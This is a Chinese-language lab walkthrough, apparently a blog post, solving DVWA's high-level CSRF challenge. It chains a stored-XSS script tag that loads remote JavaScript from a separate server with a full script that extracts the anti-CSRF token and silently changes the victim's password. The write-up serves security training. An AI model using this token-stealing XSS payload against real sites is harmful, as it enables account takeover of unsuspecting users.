1、这一关需要猥琐一点,我们先提交一个正常的数据包。查看这里提交了一个user_token。
而这个user_token我们可以从F12代码中看到,是登录进来之后就生成了![](https://i-blog.csdnimg.cn/blog_migrate/c539d9f2d0c61d749579ab16c917d824.png)
2、这里我们可以切换到从low的关卡中,在XSS(stored)关卡中埋下一个伏笔。——一个脚本连接
<script src=http://192.168.xx.xx/CSRF-high-take_token.js></script>
#这个CSRF-high-take_token.js脚本是写在另外一台服务器上的一个Js文件。
3、在这个脚本中将用来获取user_token的同时提交修改密码的get请求。CSRF-high-take_token.js代码如下
/* 取出token来实现csrf */
var tokenUrl = 'http://192.168.100.4/vulnerabilities/csrf/';
var count = 0;
// 实例化XMLHttpRequest,用于发送AJAX请求
xmlhttp = new XMLHttpRequest();
// 当请求的状态发生变化时,触发执行代码
xmlhttp.onreadystatechange = function() {
//状态码:0:请求未初始化,1: 服务器连接已建立,2:请求已接收,3:请求处理中,4: 请求已完成,且响应已就绪
if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
// 取得请求的响应,并从响应中通过正则提取Token
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/>/;
var match = text .match(regex);
// alert(match[1]);
var token = match[1];
// 发送修改密码的语法
var changeUrl = 'http://192.168.100.4/vulnerabilities/csrf/?user_token='+token+'&password_new=12581&password_conf=12581&Change=Change';
if (count == 0) {
count = 1; // 只发送一次,否则会多次发送
xmlhttp.open("GET",changeUrl,false); // false 代表同步方式发送(前面的数据处理完才能进行)
xmlhttp.send();
}
}
};
xmlhttp.open("GET",tokenUrl, false);
xmlhttp.send();
4、当我们的payload在XSS(Stroed)-low关卡中注入完毕之后,并没有什么效果。要回去把关卡设置成high。
这个时候,当你点击到 XSS(Stroed) 界面的时候,用户界面没有任何反应,但是密码就已经被神不知鬼不觉的修改了!